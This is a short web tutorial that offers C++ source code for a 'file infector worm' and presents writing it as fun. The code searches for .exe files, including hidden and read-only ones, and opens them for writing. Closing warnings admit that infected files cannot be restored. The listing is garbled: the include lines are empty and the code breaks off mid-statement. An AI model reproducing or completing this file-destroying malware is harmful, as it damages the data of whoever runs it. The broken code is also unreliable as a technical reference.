How to Write Virus or File Infector Worm in C++

If you want to write a virus in programming language, this is how to write a virus or file infector worm in programming language like C++. Please do not try this on your system.

Lets Make some fun with programming.Here is the source code for the file infector worm(program that can find and infect the files). The code for File Infector Worm in c++ could be write to infect any files, either they may be exe or jpeg or any other. Please read the Precautions at last and have  fun

Source Code for File infector worm in C++

#include
#include
#include
#include

void main()
{
struct ffblk f;
int done;
ofstream file;

done = findfirst("*.exe", &f , FA_HIDDEN | FA_RDONLY);     // write extension of files here
while(!done)
{

cout<

 

DO NOT COMPILE THIS CODE DIRECTLY
INFECTED FILES COULDN’T BE RESTORED
BEFORE COMPILE WRITE ANYTHING ELSE INSTEAD OF  ‘*.exe’  e.g ‘*.test’  (in 10th line of code)